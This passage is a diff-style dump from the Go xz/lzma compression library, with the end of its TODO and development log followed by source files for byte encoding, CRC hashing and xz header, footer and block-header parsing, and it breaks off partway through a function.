4. rename operation action and make it a simple type of size 8
|
||||
5. make maxMatches, wordSize parameters
|
||||
6. stop searching after a certain length is found (parameter sweetLen)
|
||||
|
||||
## Release v0.7
|
||||
|
||||
1. Optimize code
|
||||
2. Do statistical analysis to get linear presets.
|
||||
3. Test sync.Pool compatability for xz and lzma Writer and Reader
|
||||
4. Fuzz optimized code.
|
||||
|
||||
## Release v0.8
|
||||
|
||||
1. Support parallel go routines for writing and reading xz files.
|
||||
2. Support a ReaderAt interface for xz files with small block sizes.
|
||||
3. Improve compatibility between gxz and xz
|
||||
4. Provide manual page for gxz
|
||||
|
||||
## Release v0.9
|
||||
|
||||
1. Improve documentation
|
||||
2. Fuzz again
|
||||
|
||||
## Release v1.0
|
||||
|
||||
1. Full functioning gxz
|
||||
2. Add godoc URL to README.md (godoc.org)
|
||||
3. Resolve all issues.
|
||||
4. Define release candidates.
|
||||
5. Public announcement.
|
||||
|
||||
## Package lzma
|
||||
|
||||
### v0.6
|
||||
|
||||
* Rewrite Encoder into a simple greedy one-op-at-a-time encoder including
|
||||
* simple scan at the dictionary head for the same byte
|
||||
* use the killer byte (requiring matches to get longer, the first test should be the byte that would make the match longer)
|
||||
|
||||
## Optimizations
|
||||
|
||||
* There may be a lot of false sharing in lzma. State; check whether this can be improved by reorganizing the internal structure of it.
|
||||
|
||||
* Check whether batching encoding and decoding improves speed.
|
||||
|
||||
### DAG optimizations
|
||||
|
||||
* Use full buffer to create minimal bit-length above range encoder.
|
||||
* Might be too slow (see v0.4)
|
||||
|
||||
### Different match finders
|
||||
|
||||
* hashes with 2, 3 characters additional to 4 characters
|
||||
* binary trees with 2-7 characters (uint64 as key, use uint32 as
|
||||
|
||||
pointers into a an array)
|
||||
|
||||
* rb-trees with 2-7 characters (uint64 as key, use uint32 as pointers
|
||||
|
||||
into an array with bit-steeling for the colors)
|
||||
|
||||
## Release Procedure
|
||||
|
||||
* execute goch -l for all packages; probably with lower param like 0.5.
|
||||
* check orthography with gospell
|
||||
* Write release notes in doc/relnotes.
|
||||
* Update README.md
|
||||
* xb copyright . in xz directory to ensure all new files have Copyright header
|
||||
* `VERSION=<version> go generate github.com/ulikunitz/xz/...` to update version files
|
||||
* Execute test for Linux/amd64, Linux/x86 and Windows/amd64.
|
||||
* Update TODO.md - write short log entry
|
||||
* `git checkout master && git merge dev`
|
||||
* `git tag -a <version>`
|
||||
* `git push`
|
||||
|
||||
## Log
|
||||
|
||||
### 2022-12-12
|
||||
|
||||
Matt Dantay (@bodgit) reported an issue with the LZMA reader. The implementation
|
||||
returned an error if the dictionary size was less than 4096 byte, but the
|
||||
recommendation stated the actual used window size should be set to 4096 byte in
|
||||
that case. It actually was the pull request
|
||||
[#52](https://github.com/ulikunitz/xz/pull/52). The new patch v0.5.11 will fix
|
||||
it.
|
||||
|
||||
### 2021-02-02
|
||||
|
||||
Mituo Heijo has fuzzed xz and found a bug in the function readIndexBody. The
|
||||
function allocated a slice of records immediately after reading the value
|
||||
without further checks. Sincex the number has been too large the make function
|
||||
did panic. The fix is to check the number against the expected number of records
|
||||
before allocating the records.
|
||||
|
||||
### 2020-12-17
|
||||
|
||||
Release v0.5.9 fixes warnings, a typo and adds SECURITY.md.
|
||||
|
||||
One fix is interesting.
|
||||
|
||||
```go
|
||||
const (
|
||||
a byte = 0x1
|
||||
b = 0x2
|
||||
)
|
||||
```
|
||||
|
||||
The constants a and b don't have the same type. Correct is
|
||||
|
||||
```go
|
||||
const (
|
||||
a byte = 0x1
|
||||
b byte = 0x2
|
||||
)
|
||||
```
|
||||
|
||||
### 2020-08-19
|
||||
|
||||
Release v0.5.8 fixes issue
|
||||
[issue #35](https://github.com/ulikunitz/xz/issues/35).
|
||||
|
||||
### 2020-02-24
|
||||
|
||||
Release v0.5.7 supports the check-ID None and fixes
|
||||
[issue #27](https://github.com/ulikunitz/xz/issues/27).
|
||||
|
||||
### 2019-02-20
|
||||
|
||||
Release v0.5.6 supports the go.mod file.
|
||||
|
||||
### 2018-10-28
|
||||
|
||||
Release v0.5.5 fixes issues #19 observing ErrLimit outputs.
|
||||
|
||||
### 2017-06-05
|
||||
|
||||
Release v0.5.4 fixes issues #15 of another problem with the padding size
|
||||
check for the xz block header. I removed the check completely.
|
||||
|
||||
### 2017-02-15
|
||||
|
||||
Release v0.5.3 fixes issue #12 regarding the decompression of an empty
|
||||
XZ stream. Many thanks to Tomasz Kłak, who reported the issue.
|
||||
|
||||
### 2016-12-02
|
||||
|
||||
Release v0.5.2 became necessary to allow the decoding of xz files with
|
||||
4-byte padding in the block header. Many thanks to Greg, who reported
|
||||
the issue.
|
||||
|
||||
### 2016-07-23
|
||||
|
||||
Release v0.5.1 became necessary to fix problems with 32-bit platforms.
|
||||
Many thanks to Bruno Brigas, who reported the issue.
|
||||
|
||||
### 2016-07-04
|
||||
|
||||
Release v0.5 provides improvements to the compressor and provides support for
|
||||
the decompression of xz files with multiple xz streams.
|
||||
|
||||
### 2016-01-31
|
||||
|
||||
Another compression rate increase by checking the byte at length of the
|
||||
best match first, before checking the whole prefix. This makes the
|
||||
compressor even faster. We have now a large time budget to beat the
|
||||
compression ratio of the xz tool. For enwik8 we have now over 40 seconds
|
||||
to reduce the compressed file size for another 7 MiB.
|
||||
|
||||
### 2016-01-30
|
||||
|
||||
I simplified the encoder. Speed and compression rate increased
|
||||
dramatically. A high compression rate affects also the decompression
|
||||
speed. The approach with the buffer and optimizing for operation
|
||||
compression rate has not been successful. Going for the maximum length
|
||||
appears to be the best approach.
|
||||
|
||||
### 2016-01-28
|
||||
|
||||
The release v0.4 is ready. It provides a working xz implementation,
|
||||
which is rather slow, but works and is interoperable with the xz tool.
|
||||
It is an important milestone.
|
||||
|
||||
### 2016-01-10
|
||||
|
||||
I have the first working implementation of an xz reader and writer. I'm
|
||||
happy about reaching this milestone.
|
||||
|
||||
### 2015-12-02
|
||||
|
||||
I'm now ready to implement xz because, I have a working LZMA2
|
||||
implementation. I decided today that v0.4 will use the slow encoder
|
||||
using the operations buffer to be able to go back, if I intend to do so.
|
||||
|
||||
### 2015-10-21
|
||||
|
||||
I have restarted the work on the library. While trying to implement
|
||||
LZMA2, I discovered that I need to resimplify the encoder and decoder
|
||||
functions. The option approach is too complicated. Using a limited byte
|
||||
writer and not caring for written bytes at all and not to try to handle
|
||||
uncompressed data simplifies the LZMA encoder and decoder much.
|
||||
Processing uncompressed data and handling limits is a feature of the
|
||||
LZMA2 format not of LZMA.
|
||||
|
||||
I learned an interesting method from the LZO format. If the last copy is
|
||||
too far away they are moving the head one 2 bytes and not 1 byte to
|
||||
reduce processing times.
|
||||
|
||||
### 2015-08-26
|
||||
|
||||
I have now reimplemented the lzma package. The code is reasonably fast,
|
||||
but can still be optimized. The next step is to implement LZMA2 and then
|
||||
xz.
|
||||
|
||||
### 2015-07-05
|
||||
|
||||
Created release v0.3. The version is the foundation for a full xz
|
||||
implementation that is the target of v0.4.
|
||||
|
||||
### 2015-06-11
|
||||
|
||||
The gflag package has been developed because I couldn't use flag and
|
||||
pflag for a fully compatible support of gzip's and lzma's options. It
|
||||
seems to work now quite nicely.
|
||||
|
||||
### 2015-06-05
|
||||
|
||||
The overflow issue was interesting to research, however Henry S. Warren
|
||||
Jr. Hacker's Delight book was very helpful as usual and had the issue
|
||||
explained perfectly. Fefe's information on his website was based on the
|
||||
C FAQ and quite bad, because it didn't address the issue of -MININT ==
|
||||
MININT.
|
||||
|
||||
### 2015-06-04
|
||||
|
||||
It has been a productive day. I improved the interface of lzma. Reader
|
||||
and lzma. Writer and fixed the error handling.
|
||||
|
||||
### 2015-06-01
|
||||
|
||||
By computing the bit length of the LZMA operations I was able to
|
||||
improve the greedy algorithm implementation. By using an 8 MByte buffer
|
||||
the compression rate was not as good as for xz but already better then
|
||||
gzip default.
|
||||
|
||||
Compression is currently slow, but this is something we will be able to
|
||||
improve over time.
|
||||
|
||||
### 2015-05-26
|
||||
|
||||
Checked the license of ogier/pflag. The binary lzmago binary should
|
||||
include the license terms for the pflag library.
|
||||
|
||||
I added the endorsement clause as used by Google for the Go sources the
|
||||
LICENSE file.
|
||||
|
||||
### 2015-05-22
|
||||
|
||||
The package lzb contains now the basic implementation for creating or
|
||||
reading LZMA byte streams. It allows the support for the implementation
|
||||
of the DAG-shortest-path algorithm for the compression function.
|
||||
|
||||
### 2015-04-23
|
||||
|
||||
Completed yesterday the lzbase classes. I'm a little bit concerned that
|
||||
using the components may require too much code, but on the other hand
|
||||
there is a lot of flexibility.
|
||||
|
||||
### 2015-04-22
|
||||
|
||||
Implemented Reader and Writer during the Bayern game against Porto. The
|
||||
second half gave me enough time.
|
||||
|
||||
### 2015-04-21
|
||||
|
||||
While showering today morning I discovered that the design for OpEncoder
|
||||
and OpDecoder doesn't work, because encoding/decoding might depend on
|
||||
the current status of the dictionary. This is not exactly the right way
|
||||
to start the day.
|
||||
|
||||
Therefore we need to keep the Reader and Writer design. This time around
|
||||
we simplify it by ignoring size limits. These can be added by wrappers
|
||||
around the Reader and Writer interfaces. The Parameters type isn't
|
||||
needed anymore.
|
||||
|
||||
However I will implement a ReaderState and WriterState type to use
|
||||
static typing to ensure the right State object is combined with the
|
||||
right lzbase. Reader and lzbase. Writer.
|
||||
|
||||
As a start I have implemented ReaderState and WriterState to ensure
|
||||
that the state for reading is only used by readers and WriterState only
|
||||
used by Writers.
|
||||
|
||||
### 2015-04-20
|
||||
|
||||
Today I implemented the OpDecoder and tested OpEncoder and OpDecoder.
|
||||
|
||||
### 2015-04-08
|
||||
|
||||
Came up with a new simplified design for lzbase. I implemented already
|
||||
the type State that replaces OpCodec.
|
||||
|
||||
### 2015-04-06
|
||||
|
||||
The new lzma package is now fully usable and lzmago is using it now. The
|
||||
old lzma package has been completely removed.
|
||||
|
||||
### 2015-04-05
|
||||
|
||||
Implemented lzma. Reader and tested it.
|
||||
|
||||
### 2015-04-04
|
||||
|
||||
Implemented baseReader by adapting code form lzma. Reader.
|
||||
|
||||
### 2015-04-03
|
||||
|
||||
The opCodec has been copied yesterday to lzma2. opCodec has a high
|
||||
number of dependencies on other files in lzma2. Therefore I had to copy
|
||||
almost all files from lzma.
|
||||
|
||||
### 2015-03-31
|
||||
|
||||
Removed only a TODO item.
|
||||
|
||||
However in Francesco Campoy's presentation "Go for Javaneros
|
||||
(Javaïstes?)" is the the idea that using an embedded field E, all the
|
||||
methods of E will be defined on T. If E is an interface T satisfies E.
|
||||
|
||||
<https://talks.golang.org/2014/go4java.slide#51>
|
||||
|
||||
I have never used this, but it seems to be a cool idea.
|
||||
|
||||
### 2015-03-30
|
||||
|
||||
Finished the type writerDict and wrote a simple test.
|
||||
|
||||
### 2015-03-25
|
||||
|
||||
I started to implement the writerDict.
|
||||
|
||||
### 2015-03-24
|
||||
|
||||
After thinking long about the LZMA2 code and several false starts, I
|
||||
have now a plan to create a self-sufficient lzma2 package that supports
|
||||
the classic LZMA format as well as LZMA2. The core idea is to support a
|
||||
baseReader and baseWriter type that support the basic LZMA stream
|
||||
without any headers. Both types must support the reuse of dictionaries
|
||||
and the opCodec.
|
||||
|
||||
### 2015-01-10
|
||||
|
||||
1. Implemented simple lzmago tool
|
||||
2. Tested tool against large 4.4G file
|
||||
* compression worked correctly; tested decompression with lzma
|
||||
* decompression hits a full buffer condition
|
||||
3. Fixed a bug in the compressor and wrote a test for it
|
||||
4. Executed full cycle for 4.4 GB file; performance can be improved ;-)
|
||||
|
||||
### 2015-01-11
|
||||
|
||||
* Release v0.2 because of the working LZMA encoder and decoder
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package xz
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// putUint32LE puts the little-endian representation of x into the first
|
||||
// four bytes of p.
|
||||
func putUint32LE(p []byte, x uint32) {
|
||||
p[0] = byte(x)
|
||||
p[1] = byte(x >> 8)
|
||||
p[2] = byte(x >> 16)
|
||||
p[3] = byte(x >> 24)
|
||||
}
|
||||
|
||||
// putUint64LE puts the little-endian representation of x into the first
|
||||
// eight bytes of p.
|
||||
func putUint64LE(p []byte, x uint64) {
|
||||
p[0] = byte(x)
|
||||
p[1] = byte(x >> 8)
|
||||
p[2] = byte(x >> 16)
|
||||
p[3] = byte(x >> 24)
|
||||
p[4] = byte(x >> 32)
|
||||
p[5] = byte(x >> 40)
|
||||
p[6] = byte(x >> 48)
|
||||
p[7] = byte(x >> 56)
|
||||
}
|
||||
|
||||
// uint32LE converts a little endian representation to an uint32 value.
|
||||
func uint32LE(p []byte) uint32 {
|
||||
return uint32(p[0]) | uint32(p[1])<<8 | uint32(p[2])<<16 |
|
||||
uint32(p[3])<<24
|
||||
}
|
||||
|
||||
// putUvarint puts a uvarint representation of x into the byte slice.
|
||||
func putUvarint(p []byte, x uint64) int {
|
||||
i := 0
|
||||
for x >= 0x80 {
|
||||
p[i] = byte(x) | 0x80
|
||||
x >>= 7
|
||||
i++
|
||||
}
|
||||
p[i] = byte(x)
|
||||
return i + 1
|
||||
}
|
||||
|
||||
// errOverflow indicates an overflow of the 64-bit unsigned integer.
|
||||
var errOverflowU64 = errors.New("xz: uvarint overflows 64-bit unsigned integer")
|
||||
|
||||
// readUvarint reads a uvarint from the given byte reader.
|
||||
func readUvarint(r io.ByteReader) (x uint64, n int, err error) {
|
||||
const maxUvarintLen = 10
|
||||
|
||||
var s uint
|
||||
i := 0
|
||||
for {
|
||||
b, err := r.ReadByte()
|
||||
if err != nil {
|
||||
return x, i, err
|
||||
}
|
||||
i++
|
||||
if i > maxUvarintLen {
|
||||
return x, i, errOverflowU64
|
||||
}
|
||||
if b < 0x80 {
|
||||
if i == maxUvarintLen && b > 1 {
|
||||
return x, i, errOverflowU64
|
||||
}
|
||||
return x | uint64(b)<<s, i, nil
|
||||
}
|
||||
x |= uint64(b&0x7f) << s
|
||||
s += 7
|
||||
}
|
||||
}
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package xz
|
||||
|
||||
import (
|
||||
"hash"
|
||||
"hash/crc32"
|
||||
"hash/crc64"
|
||||
)
|
||||
|
||||
// crc32Hash implements the hash.Hash32 interface with Sum returning the
|
||||
// crc32 value in little-endian encoding.
|
||||
type crc32Hash struct {
|
||||
hash.Hash32
|
||||
}
|
||||
|
||||
// Sum returns the crc32 value as little endian.
|
||||
func (h crc32Hash) Sum(b []byte) []byte {
|
||||
p := make([]byte, 4)
|
||||
putUint32LE(p, h.Hash32.Sum32())
|
||||
b = append(b, p...)
|
||||
return b
|
||||
}
|
||||
|
||||
// newCRC32 returns a CRC-32 hash that returns the 64-bit value in
|
||||
// little-endian encoding using the IEEE polynomial.
|
||||
func newCRC32() hash.Hash {
|
||||
return crc32Hash{Hash32: crc32.NewIEEE()}
|
||||
}
|
||||
|
||||
// crc64Hash implements the Hash64 interface with Sum returning the
|
||||
// CRC-64 value in little-endian encoding.
|
||||
type crc64Hash struct {
|
||||
hash.Hash64
|
||||
}
|
||||
|
||||
// Sum returns the CRC-64 value in little-endian encoding.
|
||||
func (h crc64Hash) Sum(b []byte) []byte {
|
||||
p := make([]byte, 8)
|
||||
putUint64LE(p, h.Hash64.Sum64())
|
||||
b = append(b, p...)
|
||||
return b
|
||||
}
|
||||
|
||||
// crc64Table is used to create a CRC-64 hash.
|
||||
var crc64Table = crc64.MakeTable(crc64.ECMA)
|
||||
|
||||
// newCRC64 returns a CRC-64 hash that returns the 64-bit value in
|
||||
// little-endian encoding using the ECMA polynomial.
|
||||
func newCRC64() hash.Hash {
|
||||
return crc64Hash{Hash64: crc64.New(crc64Table)}
|
||||
}
|
||||
+721
@@ -0,0 +1,721 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package xz
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash"
|
||||
"hash/crc32"
|
||||
"io"
|
||||
|
||||
"github.com/ulikunitz/xz/lzma"
|
||||
)
|
||||
|
||||
// allZeros checks whether a given byte slice has only zeros.
|
||||
func allZeros(p []byte) bool {
|
||||
for _, c := range p {
|
||||
if c != 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// padLen returns the length of the padding required for the given
|
||||
// argument.
|
||||
func padLen(n int64) int {
|
||||
k := int(n % 4)
|
||||
if k > 0 {
|
||||
k = 4 - k
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
/*** Header ***/
|
||||
|
||||
// headerMagic stores the magic bytes for the header
|
||||
var headerMagic = []byte{0xfd, '7', 'z', 'X', 'Z', 0x00}
|
||||
|
||||
// HeaderLen provides the length of the xz file header.
|
||||
const HeaderLen = 12
|
||||
|
||||
// Constants for the checksum methods supported by xz.
|
||||
const (
|
||||
None byte = 0x0
|
||||
CRC32 byte = 0x1
|
||||
CRC64 byte = 0x4
|
||||
SHA256 byte = 0xa
|
||||
)
|
||||
|
||||
// errInvalidFlags indicates that flags are invalid.
|
||||
var errInvalidFlags = errors.New("xz: invalid flags")
|
||||
|
||||
// verifyFlags returns the error errInvalidFlags if the value is
|
||||
// invalid.
|
||||
func verifyFlags(flags byte) error {
|
||||
switch flags {
|
||||
case None, CRC32, CRC64, SHA256:
|
||||
return nil
|
||||
default:
|
||||
return errInvalidFlags
|
||||
}
|
||||
}
|
||||
|
||||
// flagstrings maps flag values to strings.
|
||||
var flagstrings = map[byte]string{
|
||||
None: "None",
|
||||
CRC32: "CRC-32",
|
||||
CRC64: "CRC-64",
|
||||
SHA256: "SHA-256",
|
||||
}
|
||||
|
||||
// flagString returns the string representation for the given flags.
|
||||
func flagString(flags byte) string {
|
||||
s, ok := flagstrings[flags]
|
||||
if !ok {
|
||||
return "invalid"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// newHashFunc returns a function that creates hash instances for the
|
||||
// hash method encoded in flags.
|
||||
func newHashFunc(flags byte) (newHash func() hash.Hash, err error) {
|
||||
switch flags {
|
||||
case None:
|
||||
newHash = newNoneHash
|
||||
case CRC32:
|
||||
newHash = newCRC32
|
||||
case CRC64:
|
||||
newHash = newCRC64
|
||||
case SHA256:
|
||||
newHash = sha256.New
|
||||
default:
|
||||
err = errInvalidFlags
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// header provides the actual content of the xz file header: the flags.
|
||||
type header struct {
|
||||
flags byte
|
||||
}
|
||||
|
||||
// Errors returned by readHeader.
|
||||
var errHeaderMagic = errors.New("xz: invalid header magic bytes")
|
||||
|
||||
// ValidHeader checks whether data is a correct xz file header. The
|
||||
// length of data must be HeaderLen.
|
||||
func ValidHeader(data []byte) bool {
|
||||
var h header
|
||||
err := h.UnmarshalBinary(data)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// String returns a string representation of the flags.
|
||||
func (h header) String() string {
|
||||
return flagString(h.flags)
|
||||
}
|
||||
|
||||
// UnmarshalBinary reads header from the provided data slice.
|
||||
func (h *header) UnmarshalBinary(data []byte) error {
|
||||
// header length
|
||||
if len(data) != HeaderLen {
|
||||
return errors.New("xz: wrong file header length")
|
||||
}
|
||||
|
||||
// magic header
|
||||
if !bytes.Equal(headerMagic, data[:6]) {
|
||||
return errHeaderMagic
|
||||
}
|
||||
|
||||
// checksum
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[6:8])
|
||||
if uint32LE(data[8:]) != crc.Sum32() {
|
||||
return errors.New("xz: invalid checksum for file header")
|
||||
}
|
||||
|
||||
// stream flags
|
||||
if data[6] != 0 {
|
||||
return errInvalidFlags
|
||||
}
|
||||
flags := data[7]
|
||||
if err := verifyFlags(flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
h.flags = flags
|
||||
return nil
|
||||
}
|
||||
|
||||
// MarshalBinary generates the xz file header.
|
||||
func (h *header) MarshalBinary() (data []byte, err error) {
|
||||
if err = verifyFlags(h.flags); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
data = make([]byte, 12)
|
||||
copy(data, headerMagic)
|
||||
data[7] = h.flags
|
||||
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[6:8])
|
||||
putUint32LE(data[8:], crc.Sum32())
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
/*** Footer ***/
|
||||
|
||||
// footerLen defines the length of the footer.
|
||||
const footerLen = 12
|
||||
|
||||
// footerMagic contains the footer magic bytes.
|
||||
var footerMagic = []byte{'Y', 'Z'}
|
||||
|
||||
// footer represents the content of the xz file footer.
|
||||
type footer struct {
|
||||
indexSize int64
|
||||
flags byte
|
||||
}
|
||||
|
||||
// String prints a string representation of the footer structure.
|
||||
func (f footer) String() string {
|
||||
return fmt.Sprintf("%s index size %d", flagString(f.flags), f.indexSize)
|
||||
}
|
||||
|
||||
// Minimum and maximum for the size of the index (backward size).
|
||||
const (
|
||||
minIndexSize = 4
|
||||
maxIndexSize = (1 << 32) * 4
|
||||
)
|
||||
|
||||
// MarshalBinary converts footer values into an xz file footer. Note
|
||||
// that the footer value is checked for correctness.
|
||||
func (f *footer) MarshalBinary() (data []byte, err error) {
|
||||
if err = verifyFlags(f.flags); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !(minIndexSize <= f.indexSize && f.indexSize <= maxIndexSize) {
|
||||
return nil, errors.New("xz: index size out of range")
|
||||
}
|
||||
if f.indexSize%4 != 0 {
|
||||
return nil, errors.New(
|
||||
"xz: index size not aligned to four bytes")
|
||||
}
|
||||
|
||||
data = make([]byte, footerLen)
|
||||
|
||||
// backward size (index size)
|
||||
s := (f.indexSize / 4) - 1
|
||||
putUint32LE(data[4:], uint32(s))
|
||||
// flags
|
||||
data[9] = f.flags
|
||||
// footer magic
|
||||
copy(data[10:], footerMagic)
|
||||
|
||||
// CRC-32
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[4:10])
|
||||
putUint32LE(data, crc.Sum32())
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// UnmarshalBinary sets the footer value by unmarshalling an xz file
|
||||
// footer.
|
||||
func (f *footer) UnmarshalBinary(data []byte) error {
|
||||
if len(data) != footerLen {
|
||||
return errors.New("xz: wrong footer length")
|
||||
}
|
||||
|
||||
// magic bytes
|
||||
if !bytes.Equal(data[10:], footerMagic) {
|
||||
return errors.New("xz: footer magic invalid")
|
||||
}
|
||||
|
||||
// CRC-32
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[4:10])
|
||||
if uint32LE(data) != crc.Sum32() {
|
||||
return errors.New("xz: footer checksum error")
|
||||
}
|
||||
|
||||
var g footer
|
||||
// backward size (index size)
|
||||
g.indexSize = (int64(uint32LE(data[4:])) + 1) * 4
|
||||
|
||||
// flags
|
||||
if data[8] != 0 {
|
||||
return errInvalidFlags
|
||||
}
|
||||
g.flags = data[9]
|
||||
if err := verifyFlags(g.flags); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
*f = g
|
||||
return nil
|
||||
}
|
||||
|
||||
/*** Block Header ***/
|
||||
|
||||
// blockHeader represents the content of an xz block header.
|
||||
type blockHeader struct {
|
||||
compressedSize int64
|
||||
uncompressedSize int64
|
||||
filters []filter
|
||||
}
|
||||
|
||||
// String converts the block header into a string.
|
||||
func (h blockHeader) String() string {
|
||||
var buf bytes.Buffer
|
||||
first := true
|
||||
if h.compressedSize >= 0 {
|
||||
fmt.Fprintf(&buf, "compressed size %d", h.compressedSize)
|
||||
first = false
|
||||
}
|
||||
if h.uncompressedSize >= 0 {
|
||||
if !first {
|
||||
buf.WriteString(" ")
|
||||
}
|
||||
fmt.Fprintf(&buf, "uncompressed size %d", h.uncompressedSize)
|
||||
first = false
|
||||
}
|
||||
for _, f := range h.filters {
|
||||
if !first {
|
||||
buf.WriteString(" ")
|
||||
}
|
||||
fmt.Fprintf(&buf, "filter %s", f)
|
||||
first = false
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
// Masks for the block flags.
|
||||
const (
|
||||
filterCountMask = 0x03
|
||||
compressedSizePresent = 0x40
|
||||
uncompressedSizePresent = 0x80
|
||||
reservedBlockFlags = 0x3C
|
||||
)
|
||||
|
||||
// errIndexIndicator signals that an index indicator (0x00) has been found
|
||||
// instead of an expected block header indicator.
|
||||
var errIndexIndicator = errors.New("xz: found index indicator")
|
||||
|
||||
// readBlockHeader reads the block header.
|
||||
func readBlockHeader(r io.Reader) (h *blockHeader, n int, err error) {
|
||||
var buf bytes.Buffer
|
||||
buf.Grow(20)
|
||||
|
||||
// block header size
|
||||
z, err := io.CopyN(&buf, r, 1)
|
||||
n = int(z)
|
||||
if err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
s := buf.Bytes()[0]
|
||||
if s == 0 {
|
||||
return nil, n, errIndexIndicator
|
||||
}
|
||||
|
||||
// read complete header
|
||||
headerLen := (int(s) + 1) * 4
|
||||
buf.Grow(headerLen - 1)
|
||||
z, err = io.CopyN(&buf, r, int64(headerLen-1))
|
||||
n += int(z)
|
||||
if err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
|
||||
// unmarshal block header
|
||||
h = new(blockHeader)
|
||||
if err = h.UnmarshalBinary(buf.Bytes()); err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
|
||||
return h, n, nil
|
||||
}
|
||||
|
||||
// readSizeInBlockHeader reads the uncompressed or compressed size
|
||||
// fields in the block header. The present value informs the function
|
||||
// whether the respective field is actually present in the header.
|
||||
func readSizeInBlockHeader(r io.ByteReader, present bool) (n int64, err error) {
|
||||
if !present {
|
||||
return -1, nil
|
||||
}
|
||||
x, _, err := readUvarint(r)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if x >= 1<<63 {
|
||||
return 0, errors.New("xz: size overflow in block header")
|
||||
}
|
||||
return int64(x), nil
|
||||
}
|
||||
|
||||
// UnmarshalBinary unmarshals the block header.
|
||||
func (h *blockHeader) UnmarshalBinary(data []byte) error {
|
||||
// Check header length
|
||||
s := data[0]
|
||||
if data[0] == 0 {
|
||||
return errIndexIndicator
|
||||
}
|
||||
headerLen := (int(s) + 1) * 4
|
||||
if len(data) != headerLen {
|
||||
return fmt.Errorf("xz: data length %d; want %d", len(data),
|
||||
headerLen)
|
||||
}
|
||||
n := headerLen - 4
|
||||
|
||||
// Check CRC-32
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[:n])
|
||||
if crc.Sum32() != uint32LE(data[n:]) {
|
||||
return errors.New("xz: checksum error for block header")
|
||||
}
|
||||
|
||||
// Block header flags
|
||||
flags := data[1]
|
||||
if flags&reservedBlockFlags != 0 {
|
||||
return errors.New("xz: reserved block header flags set")
|
||||
}
|
||||
|
||||
r := bytes.NewReader(data[2:n])
|
||||
|
||||
// Compressed size
|
||||
var err error
|
||||
h.compressedSize, err = readSizeInBlockHeader(
|
||||
r, flags&compressedSizePresent != 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Uncompressed size
|
||||
h.uncompressedSize, err = readSizeInBlockHeader(
|
||||
r, flags&uncompressedSizePresent != 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
h.filters, err = readFilters(r, int(flags&filterCountMask)+1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check padding
|
||||
// Since headerLen is a multiple of 4 we don't need to check
|
||||
// alignment.
|
||||
k := r.Len()
|
||||
// The standard spec says that the padding should have not more
|
||||
// than 3 bytes. However we found paddings of 4 or 5 in the
|
||||
// wild. See https://github.com/ulikunitz/xz/pull/11 and
|
||||
// https://github.com/ulikunitz/xz/issues/15
|
||||
//
|
||||
// The only reasonable approach seems to be to ignore the
|
||||
// padding size. We still check that all padding bytes are zero.
|
||||
if !allZeros(data[n-k : n]) {
|
||||
return errPadding
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// MarshalBinary marshals the binary header.
|
||||
func (h *blockHeader) MarshalBinary() (data []byte, err error) {
|
||||
if !(minFilters <= len(h.filters) && len(h.filters) <= maxFilters) {
|
||||
return nil, errors.New("xz: filter count wrong")
|
||||
}
|
||||
for i, f := range h.filters {
|
||||
if i < len(h.filters)-1 {
|
||||
if f.id() == lzmaFilterID {
|
||||
return nil, errors.New(
|
||||
"xz: LZMA2 filter is not the last")
|
||||
}
|
||||
} else {
|
||||
// last filter
|
||||
if f.id() != lzmaFilterID {
|
||||
return nil, errors.New("xz: " +
|
||||
"last filter must be the LZMA2 filter")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
// header size must set at the end
|
||||
buf.WriteByte(0)
|
||||
|
||||
// flags
|
||||
flags := byte(len(h.filters) - 1)
|
||||
if h.compressedSize >= 0 {
|
||||
flags |= compressedSizePresent
|
||||
}
|
||||
if h.uncompressedSize >= 0 {
|
||||
flags |= uncompressedSizePresent
|
||||
}
|
||||
buf.WriteByte(flags)
|
||||
|
||||
p := make([]byte, 10)
|
||||
if h.compressedSize >= 0 {
|
||||
k := putUvarint(p, uint64(h.compressedSize))
|
||||
buf.Write(p[:k])
|
||||
}
|
||||
if h.uncompressedSize >= 0 {
|
||||
k := putUvarint(p, uint64(h.uncompressedSize))
|
||||
buf.Write(p[:k])
|
||||
}
|
||||
|
||||
for _, f := range h.filters {
|
||||
